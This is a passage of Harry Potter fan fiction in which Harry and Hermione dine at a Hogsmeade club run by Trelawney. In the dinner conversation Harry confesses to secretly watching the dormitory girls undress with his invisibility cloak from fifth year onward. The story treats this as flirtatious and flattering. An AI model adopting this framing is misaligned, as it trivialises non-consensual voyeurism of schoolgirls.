stepped back.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;There you go, all you have to do now is say your destination and it will take you there.&nbsp; When you&#8217;re ready to come back, take hold of it and say my name.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded.&nbsp; &#8220;I&#8217;ll be back as soon as I can.&#8221;&nbsp; She grasped the pendant said her destination and disappeared.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry wrote some quick thank you notes, then motioned for the two birds to follow him.&nbsp; He led them to the exit, attached his letters then saw them off. He went back downstairs, grabbed a soda from the fridge and went back to his reading. </p>\n\n<p>The time passed swiftly, and before he knew it, Hermione was back in his study, a backpack slung over one shoulder, a duffle bag over the other, a suitcase in each hand and the pendant clutched in her teeth. She dropped her burdens before Harry could jump up to help her, spit out the pendant and swore softly.</p>\n\n<p>&#8220;He was early!&#8221; She spat. &#8220;Can you believe that Ron Weasley, a guy who is perpetually late, was EARLY?&#8221; She grabbed Harry&#8217;s soda and gulped it down. &#8220;I barely made it out of there before he got upstairs to my room. Luckily, my mom stopped him to chat, and that gave me the time I needed to pack one last bag and get out of there.&#8221; Hermione dropped onto the couch and handed Harry his empty soda. &#8220;Thanks. I needed that.&#8221;</p>\n\n<p>Harry looked at the empty bottle, then at her. &#8220;Sure. No problem. Want another?&#8221; </p>\n\n<p>&#8220;No thank you.&#8221; She looked hard at him. &#8220;I was thinking, we should go out tonight.&#8221;</p>\n\n<p>&#8220;Huh? What about the dinner you were gonna fix?&#8221;</p>\n\n<p>Hermione smiled. &#8220;I reconsidered. You look like you could use a night on the town. I&#8217;ve been hearing about this new club that opened in Hogsmeade last year, and I&#8217;ve been dying to go see it.</p>\n\n<p>&#8220;A club?&#8221; Harry looked dubious. &#8220;What kind of club?&#8221;</p>\n\n<p>&#8220;It&#8217;s a nice club Harry. Not suits and ties, but nice.&#8221;</p>\n\n<p>Harry scratched his head. &#8220;I don&#8217;t know Hermione, I&#8217;ve gotten used to being forgotten, if I go out in public now&#8212;&#8220; he shrugged.</p>\n\n<p>&#8220;That was before, Harry. You&#8217;re different now. You&#8217;re taller, your hair&#8217;s longer, you&#8217;re not wearing your glasses, and the stubble&#8212;you&#8217;d be surprised at how un-Harry Potter you look.&#8221;</p>\n\n<p>He ran a hand through his hair and grinned. &#8220;Well, maybe. I&#8217;d be lying if I said I wasn&#8217;t getting cabin fever, and a night out sounds like fun. A little distraction before we have to buckle down with this research.&#8221;</p>\n\n<p>Hermione clapped her hands. &#8220;That&#8217;s the spirit Harry! I&#8217;ll make you some Pepper-Up Potion real quick, and then we can go get ready.&#8221;</p>\n\n<p>Harry laughed. He had to admit that her excitement was catching, and the fear of being recognized was fading. It was being replaced by the urge to go out and have fun, something he hadn&#8217;t done in far too long.</p>\n\n<p>&#8220;I&#8217;m going to go fix that potion. You go take a shower and get dressed.&#8221; Hermione hopped off the couch and left the room. Following in her wake, Harry had just opened the bathroom door when she stuck her head around the corner. &#8220;And Harry, do try to find something NICE to wear!&#8221;</p>\n\n<p>Harry chuckled as he went into the bathroom and started his shower. He came out fifteen minutes later to find a steaming cup of Pepper-Up Potion waiting on his dresser. He smiled, gulped it down, and ignored the steam coming out of his ears. He put on a clean pair of briefs, and stood staring into his closet. Harry didn&#8217;t have much of a fashion sense, what with growing up wearing <st1:place w:st="on">Dudley</st1:place>&#8217;s castoffs and all, and the little he did have was gleaned from Sirius. He remembered the conversation they had had about style very well.</p>\n\n<p>&#8220;Remember this Harry,&#8221; Sirius had said. &#8220;Black goes with everything, and it works for any occasion.&#8221; He had clapped Harry on the shoulder, and whispered quietly. &#8220;Not to mention, chicks dig guys in black.&#8221; Harry had grinned. &#8220;I&#8217;m serious!&#8221; That had caused Harry to laugh outright.</p>\n\n<p>&#8220;What&#8217;s so funny?&#8221; His godfather had asked.</p>\n\n<p>&#8220;It&#8217;s just that you&#8217;re talking about black, and then you said you&#8217;re serious,&#8221; Harry had chuckled.</p>\n\n<p>It had taken Sirius a few seconds to see the relation, but when he did, he had laughed even harder than Harry. &#8220;I haven&#8217;t made or had anyone make puns of my name in a very long time,&#8221; he wiped his eyes, &#8220;brings back a lot of memories.&#8221;</p>\n\n<p>Harry had patted the older man&#8217;s shoulder. &#8220;I&#8217;m sorry Sirius.&#8221;</p>\n\n<p>&#8220;Don&#8217;t be. You just reminded me of James right then,&#8221; he had said. &#8220;He used to tease me all the time about my name.&#8221; Sirius had smiled broadly in memory. &#8220;You should have seen the look on his face the first time I transformed. He laughed for days every time he thought about it. Me, Sirius Black turning into a black dog, talk about irony.&#8221;</p>\n\n<p>Harry shook off the memory, and dug into his closet. He had lots of clothes, and per Sirius&#8217; advice, they were all black. He grabbed a turtleneck, trousers, and with a little nod to Bad Bill Weasley, a pair of knee high, dragon hide boots. Harry got dressed quickly, ran a brush through his hair and went to the study to wait for Hermione.</p>\n\n<p>He had just seated himself when Hermione entered the room. Harry&#8217;s jaw dropped. She looked incredible. Her long, thick hair was piled in a bun at the back of her head, with tendrils hanging down in back, and on the sides. Her wand was thrust through the bun to hold it in place. She was wearing a black, satin cocktail dress with a sparkling tulle covering. The covering had a high collar, flared sleeves, and gave the impression of a starlit night. Black stockings, and high-heeled shoes completed her ensemble.</p>\n\n<p>Harry closed his mouth and searched for something to say. &#8220;Uhm&#8212;Herm&#8212;Hermione. You look beautiful.&#8221;</p>\n\n<p>&#8220;Thank you,&#8221; Hermione blushed. She gave him a once over. &#8220;You don&#8217;t look so bad yourself.&#8221;</p>\n\n<p>It was Harry&#8217;s turn to blush, and he coughed self-consciously. &#8220;Uhm. Thanks,&#8221; he indicated the door. &#8220;Shall we go?&#8221; They went upstairs to the hidden door. As they slipped out the secret opening, she linked her arm through his. They walked into Hogsmeade in companionable silence. Harry looked around, noticing all the little changes that had taken place since the last time he had been there. He immediately picked out Weasley Wizard Wheezes due to the huge exploding wand on top of the building. Down the road, a line of people could be seen waiting to get into a building called The Crystal Ballroom &amp; Black Cat Club. </p>\n\n<p>&#8220;Is that the place?&#8221; Harry asked.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s the place.&#8221; She answered. &#8220;Although, I have no idea how we&#8217;re going to get a table.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Easy, leave that to me,&#8221; he said. Harry waved his hand and they became invisible. He waved it again, and the people in front of them casually moved aside for no apparent reason. He tugged her to the front of the line, and made them visible again. Hermione expected a fuss, but nobody seemed to notice them. She was about to comment on this, when her name was called from inside.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yoo-hoo! Miss Granger!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione squinted into the darkness of the club. &#8220;Who&#8217;s there? Who called me?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A woman appeared behind one of the big bouncers. &#8220;It&#8217;s me, Professor Trelawney.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione groaned quietly, but pasted a big smile on her face. &#8220;Professor! What are you doing here?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sybil Trelawney smiled. &#8220;Now, now, Hermione. We&#8217;re colleagues now. You can call me by my name.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Her smile slipping a little, Hermione strived for a polite blandness. &#8220;Of course Sybil,&#8221; she nodded. &#8220;What are you doing here?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sybil&#8217;s smile broadened. &#8220;I own this place.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wow! What made you decide to open a club?&#8221; Hermione asked. &#8220;I thought you&#8212;&#8220; She started to say something, but Sybil cut her off.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Please, come in. I do so hate to have a conversation with people in the way.&#8221; She looked pointedly at the mountain of muscle blocking their entrance. &#8220;Honestly, you would think these louts would actually READ the list of people to be admitted without reservations.&#8221; She shoved the big man aside, and grabbed Hermione&#8217;s hand and pulled them inside the club. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Once they were inside the club, the doors shut behind them and the lights came up. Trelawney looked closely at Hermione and Harry. &#8220;So Hermione, who&#8217;s your handsome friend?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione struggled not to smile, and to come up with an alias for Harry. She gave herself time to think by acting appalled that she had forgotten to introduce them. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I am so sorry! Where are my manners?&#8221; She indicated Harry. &#8220;This is&#8212;&#8220; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry stepped forward before she could think of anything, and extended his hand. &#8220;Hi. Name&#8217;s John James Black,&#8221; he said, with a strong American accent. &#8220;Folks call me Johnny, Jimmy or even J.J,&#8221; he smiled. &#8220;I&#8217;m a third cousin to Sirius Black. I&#8217;m over here visitin&#8217; him, and he set me up with this gal.&#8221; Hermione&#8217;s eyebrows shot up at this.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ah. Well, if you&#8217;re going to be here for a while, I do hope you&#8217;ll allow me to show you the more interesting bits.&#8221; Sybil smiled.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione covered her laugh with a choked cough, and Harry pretended that he didn&#8217;t know what she had really meant.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry grinned at the wizened woman. &#8220;That sounds like fun, but this little gal has already volunteered to show me all the interesting bits.&#8221; Hermione seemed to have developed a lung condition, and he clapped her on the back.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh. Perhaps another time then.&#8221; Trelawney&#8217;s, disappointment was evident in her voice. She cleared her throat, and became all business. &#8220;Would you like a private table, booth, or do you prefer the bar?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;d like a private table please, in a dark corner if you have it. Way I hear it, Hermione here is kinda famous, and we&#8217;d rather not be disturbed.&#8221; Harry smiled.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Trelawney nodded in understanding. &#8220;Yes, yes, of course.&#8221; She winked at Hermione. &#8220;If you would follow me please.&#8221; She led them past the Maitre&#8217;d, giving the woman a sour look and instructing her to check the line at the door for notables every 30 minutes, instead of every hour. Their table was at the far end of the club, tucked into a dark corner, softly lit by candles, and hidden from view by hanging plants.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry pulled Hermione&#8217;s chair out for her, then seated himself with his back to the wall, so that he could watch the room. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Someone will be here shortly with your menus.&#8221; Trelawney said. &#8220;If you&#8217;ll excuse me, I have other matters to attend to.&#8221; She departed quickly.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione waited until Trelawney was out of earshot, then she turned an accusing glance on Harry. &#8220;You enjoyed that a little too much. Making her think that you and I were&#8212;were&#8212;.&#8221; Words failed her, so she settled for folding her arms and giving him her best frown. &#8220;Honestly Harry.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry gave her his best innocent look. &#8220;What?&#8221; His eyes twinkled suddenly and he grinned. &#8220;You should have seen the look on your face! It was priceless!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m sure.&#8221; Hermione said, her voice very droll.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh come on Hermione. You know I was just playing.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well it wasn&#8217;t funny! I can just see it now, Trelawney goes back to Hogwarts on September 1<sup>st</sup>, and starts telling people that I was in the company of a stranger, and that I had promised to show him my bits!&#8221;&nbsp; She glared daggers at him. &#8220;I have a reputation you know!&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry looked ashamed, and tried to mollify her. &#8220;I&#8217;m sorry Hermione. It&#8217;s just that I&#8217;ve been cooped up for three whole months. I&#8217;m not quite myself yet.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s expression softened. &#8220;I know Harry. It&#8217;s a very noble thing that you&#8217;re doing. I&#8217;m sure Dumbledore greatly appreciates everything you&#8217;ve done for him.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry was about to say more, but their waitress arrived with their menus.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hello,&#8221; smiled the pretty blonde. &#8220;My name is Sidreena, and I&#8217;ll be your server for this evening.&#8221; She handed each a menu. &#8220;What can I get for you?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry ran down the menu quickly. &#8220;I&#8217;ll have a butterbeer for starters&#8212;Hermione?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll have a butterbeer as well,&#8221; she said. Hermione looked at the menu. &#8220;Hmm. How about we start with chips and salsa? I&#8217;m in the mood for something spicy,&#8221; she told Harry.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry heard Hermione say something, but his attention was focused on the waitress, who was smiling and making eyes at him. Her smile faltered when Hermione cleared her throat.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ahem!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry looked guilty, and the waitress looked quickly to Hermione. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sorry ma&#8217;am,&#8221; she said. She wrote quickly on her pad. &#8220;That was two butterbeers, chips and salsa. Would you like a few more minutes to decide on the entree?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes please.&#8221; Harry said.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Alright, I&#8217;ll return shortly.&#8221; The waitress bustled off, with perhaps a little more sway to her walk than was completely necessary. Harry leaned sideways and stared after her.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione shook her head and smiled. &#8220;Honestly. I can&#8217;t take you anywhere.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Realizing what he was doing, Harry blushed, and sat up in his chair. &#8220;I&#8217;m really sorry Hermione.&#8221; He made a pointed effort to look her in the eye, which caused her to laugh. &#8220;This is why I haven&#8217;t been out in three months, I was trying to avoid distractions.&#8221; As he talked, his gaze traveled down her face, to her neck and finally settled on her chest. He watched her breasts rise and fall as she breathed, and when he realized what he was doing, he jerked his gaze back up to meet hers. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re hopeless,&#8221; she chuckled. &#8220;You were never this bad before Harry. Why the sudden fascination with women?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry frowned in thought. &#8220;I guess I&#8217;d have to say that it started around 3<sup>rd</sup> year, I noticed Cho was pretty, then at the beginning of 4<sup>th</sup> year, the Veela at the Quidditch Cup had my head full of strange thoughts. Then when I saw you at the Yule Ball, I noticed for the first time just how pretty you had gotten.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You thought I was pretty?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You were very pretty, and I couldn&#8217;t believe that I hadn&#8217;t noticed it before. Anyway, after that I started really looking at girls, and listening to the other guys talk about girls. Then Ron asked to borrow my invisibility cloak, and he didn&#8217;t want to tell me why.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He did what?&#8221; she asked, her eyes growing wide. &#8220;You didn&#8217;t let him did you?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, I didn&#8217;t.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good.&#8221; Hermione said.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It made him mad for a few days, but I didn&#8217;t care too much. But it did get me thinking, so I used it to sneak into the girls&#8217; dorm one night.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s eyes bulged. &#8220;YOU DID WHAT!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Shhhhh! Keep your voice down!&#8221; Harry hissed.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, please tell me you&#8217;re joking about that.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sorry, but you know how my curiosity is. I can&#8217;t let something go until my curiosity is satisfied. Anyway, I sneaked into the girls&#8217; dorm room, and waited to see something. I wasn&#8217;t really sure what I was there to see, but I wasn&#8217;t leaving until I saw it.&#8221; He admitted.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked horrified at his revelation. &#8220;You didn&#8217;t.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I did. I watched you all change for bed.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m going to pretend I didn&#8217;t hear that.&#8221; She said, with narrowed eyes.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hey, you asked about my fascination with girls,&#8221; Harry shrugged. &#8220;This is all part of it.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That was before I knew how perverted you were.&#8221; Hermione&#8217;s smile took the sting from her words. &#8220;Did you&#8212;uhm&#8212;see any of us&#8212;naked?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry blushed. &#8220;Uhm&#8212;I&#8217;d rather not say.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re not getting off that easy!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Blushing furiously, Harry raised an eyebrow. &#8220;You want to rephrase that?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was about to reply, when the waitress arrived with their appetizer.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Here you are, two butterbeers, salsa and tortilla chips. Are you ready to order?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, I&#8217;ll have the 16 ounce Sirloin steak, well done, the dinner salad with Ranch dressing, and a baked potato, hold the sour cream,&#8221; Harry looked up from his menu. &#8220;Hermione?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll have the Bruschetta Chicken and the dinner salad with Italian Vinaigrette,&#8221; she answered.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay, that&#8217;s a 16 ounce Sirloin, well done, dinner salad with Ranch, baked potato no sour cream, a Bruschetta Chicken, and a dinner salad with Italian Vinaigrette,&#8221; the waitress said, reading from her pad. &#8220;Will there be anything else?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No thank you, that will be all for now.&#8221; Harry answered. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Alright, your food should take about 15 minutes,&#8221; she smiled, &#8220;give or take.&#8221; She hurried off again, and Harry turned back to Hermione.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Now, back to our discussion. You want to know if I saw any of you naked, right?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, I don&#8217;t think&#8212;&#8220;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh no, you asked. To answer the question, yes I did see all of you naked. But that was later.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;LATER! YOU MEAN YOU DID THAT MORE THAN ONCE!&#8221; Hermione&#8217;s voice climbed in volume again and he quickly shushed her.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The only way I&#8217;ll keep talking is if you stop raising your voice!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sorry. But you mean to tell me that you watched us not once but twice!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Actually, I watched from 5<sup>th</sup> year until graduation,&#8221; he said, looking ashamed. &#8220;I couldn&#8217;t help myself, you were all so pretty.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You thought we were pretty?&#8221; she asked. Hermione looked down. &#8220;I hate to ask this, but I have to know.&#8221; She blushed a light pink. &#8220;How&#8212;how&#8217;d I look?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry couldn&#8217;t believe his ears. &#8220;How&#8217;d you look?&#8221; he quoted. &#8220;You looked incredible. Of all the girls we went to school with, you had the best body hands down!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s light pink blush grew to a light red, and she kept her head down. &#8220;Really? I hate to sound conceited, but this is the first time anyone has complimented me on my body.&#8221;</p>\n\n<p>Harry nodded, &#8220;I don&#8217;t wish to sound crude, but since you asked, I can tell you truthfully that you have perfect breasts, incredible legs, and a spectacular butt.&#8221; </p>\n\n<p>Hermione went from a light red to a vivid scarlet. &#8220;Thank you. I never knew&#8212;&#8220;</p>\n\n<p>&#8220;I can see why you don&#8217;t get many compliments, you hide under your robes, and behind your books. You never let anyone <b>see</b> you Hermione!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What would you have me do, wear mini-skirts and shirts that are too small?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry shook his head. &#8220;Nothing so provocative, just not robes all the time. The only time you wear less, is during the summer, and then it&#8217;s only when you&#8217;re at home alone. I was very surprised when you showed up today wearing those clothes.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;When I got your owl, I thought about changing before using the portkey, but I was anxious to see you, and didn&#8217;t want to wait.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m glad, I was about ready to pull my hair 